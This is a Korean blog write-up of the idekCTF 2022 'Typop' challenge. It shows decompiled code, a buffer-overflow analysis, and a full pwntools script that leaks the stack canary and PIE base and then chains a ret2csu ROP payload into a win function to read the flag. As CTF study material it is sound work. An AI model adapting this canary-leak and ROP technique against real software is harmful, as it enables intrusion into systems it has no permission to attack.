CTF/Solved

idekCTK 2022 - Typop

wyv3rn 2023. 1. 16. 07:13
728x90
반응형

1. intro

bof + rop + rcu가 복합적으로 이루어져 공부하기 좋은 문제였다.

 

2. code

2.1.  code

2.1.2. main

int __cdecl main(int argc, const char **argv, const char **envp)
{
  setvbuf(_bss_start, 0LL, 2, 0LL);
  while ( puts("Do you want to complete a survey?") && getchar() == 'y' )
  {
    getchar();
    getFeedback();
  }
  return 0;
}

2.1.2. getFeedback

unsigned __int64 getFeedback()
{
  __int64 buf; // [rsp+Eh] [rbp-12h] BYREF
  __int16 v2; // [rsp+16h] [rbp-Ah]
  unsigned __int64 v3; // [rsp+18h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  buf = 0LL;
  v2 = 0;
  puts("Do you like ctf?");
  read(0, &buf, 30uLL);
  printf("You said: %s\n", &buf);
  if ( buf == 'y' )
    printf("That's great! ");
  else
    printf("Aww :( ");
  puts("Can you provide some extra feedback?");
  read(0, &buf, 90uLL);
  return __readfsqword(0x28u) ^ v3;
}

2.1.3. win

unsigned __int64 __fastcall win(char a1, char a2, char a3)
{
  FILE *stream; // [rsp+18h] [rbp-58h]
  _BYTE filename[10]; // [rsp+26h] [rbp-4Ah] BYREF
  char s[8]; // [rsp+30h] [rbp-40h] BYREF
  __int64 v7; // [rsp+38h] [rbp-38h]
  __int64 v8; // [rsp+40h] [rbp-30h]
  __int64 v9; // [rsp+48h] [rbp-28h]
  __int64 v10; // [rsp+50h] [rbp-20h]
  __int64 v11; // [rsp+58h] [rbp-18h]
  unsigned __int64 v12; // [rsp+68h] [rbp-8h]

  v12 = __readfsqword(0x28u);
  filename[9] = 0;
  filename[0] = a1;
  filename[1] = a2;
  filename[2] = a3;
  strcpy(&filename[3], "g.txt");
  stream = fopen(filename, "r");
  if ( !stream )
  {
    puts("Error opening flag file.");
    exit(1);
  }
  *s = 0LL;
  v7 = 0LL;
  v8 = 0LL;
  v9 = 0LL;
  v10 = 0LL;
  v11 = 0LL;
  fgets(s, 32, stream);
  puts(s);
  return __readfsqword(0x28u) ^ v12;
}

 

2.2. 분석

2.2.1. main

y가 입력되는 동안 지속적으로 getFeedback 함수를 실행시켜준다.

 

2.2.2. getFeedback

8 bytes의 buf 변수에 30 bytes의 값을 입력 받고, 해당 값을 출력해준 뒤

다시 한번 buf 변수에 90 bytes의 값을 입력 받고 종료한다.

 

2.2.3. win

(사실 처음에 이 함수의 존재를 몰랐다.)

(Actucally, I didn't recognized this function at first.)

넘겨받은 3개의 인자를 filename에 넣은 뒤 이를 g.txt 문자열과 합쳐서 해당 파일의 내용을 출력해준다.

 

3. 취약점 확인 및 공격 준비

3.1. 취약점

buffer overflow가 발생하며, 보호기법으로 인해 rop을 시도할 수 있다.

 

3.2. 공격 준비

보호기법부터 확인했는데, 죄다 걸려있었다.

┌[WyV3rN]-(typop/attachments)-
└> checksec chall
[*] '/mnt/d/hack/binary/ctf/typop/attachments/chall'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

 

우선은 canary가 걸려있기에 leak이 가능한지 확인하였고,

첫 30 bytes를 입력 받을 때 "a" 를 삽입하였더니 스택은 아래와 같은 모양을 가지고 있었다.

0x00007fff97561030│+0x0000: 0x00007fab9aa68040  →  0x00007fab9aa692e0  →  0x00005641eb1e7000  →   jg 0x5641eb1e7047      ← $rsp
0x00007fff97561038│+0x0008: 0x0a617fab9a88be16
0x00007fff97561040│+0x0010: 0x0000000000000000
0x00007fff97561048│+0x0018: 0xd6f3d0ac23717300
0x00007fff97561050│+0x0020: 0x00007fff97561060  →  0x0000000000000001    ← $rbp
0x00007fff97561058│+0x0028: 0x00005641eb1e8447  →  <main+55> lea 0xc3a(%rip), %rdi        # 0x5641eb1e9088

그래서 11 bytes가 입력되면 canary 값은 가지고올 수 있다.

canary와 더불어 rbp 값이 붙어있기에 이 값까지 가져올 수 있다.

또한 다시 한번 getFeedback 함수로 돌아왔을 때  buf + canary + rbp까지 덮어버리면

main 함수 address 또한 leak이 가능하다.

 

main 함수는 code 영역에 있기에 csu 함수 주소를 구할 수 있으며,

이를 통해 return to csu로 win 함수에 사용할 인자를 넣어둔 뒤 win 함수로 return 하였다.

 

4. exploit

from pwn import *

#context.log_level='debug'

#p = process('./chall')
p = remote('typop.chal.idek.team',1337)

p.sendlineafter(b'survey?',b'y')

#1st payload, leak for canary, rbp
pay = b'A' * 11
p.sendafter(b'ctf?',pay)
p.recvuntil(pay)
leak = p.recvuntil(b'\n')
canary = u64(leak[:7].rjust(8,b'\x00'))
rbp = u64(leak[7:-1].ljust(8,b'\x00'))

print(leak)
print(b'canary = ',hex(canary))
print(b'rbp = ',hex(rbp))

pay = b'B' * 10
pay += p64(canary)

p.sendafter(b'feedback?',pay)

#2rd payload, leak main func. addr.
p.sendlineafter(b'survey?',b'y')
pay = b'C' * (10 + 8 + 8)
p.sendafter(b'ctf?',pay)

p.recvuntil(pay)
addr = u64(p.recvline()[-7:-1].ljust(8,b'\x00'))
print(b'leak addr = ',hex(addr))
data_base = addr - 0x1447
print(b'data_base addr = ',hex(data_base))

pay = b'A' * 10
pay += p64(canary)

p.sendafter(b'back?', pay)

#3rd. rop chainning and return to win addr
p.sendlineafter(b'survey?',b'y')
p.sendlineafter(b'ctf?',b'a')

pay = b'A' * 10
pay += p64(canary)
pay += p64(data_base + 0x1249)
pay += p64(addr + 0x83)
pay += p64(0)
pay += p64(0)
pay += p64(ord('f'))
pay += p64(ord('l'))
pay += p64(ord('a'))
pay += p64(rbp-0x10)
pay += p64(data_base + 0x14b0)

p.sendafter(b'back?', pay)

p.interactive()

셀도 딸 수 있을 것 같은데... 귀찮아서 포기 ㅋ

728x90
반응형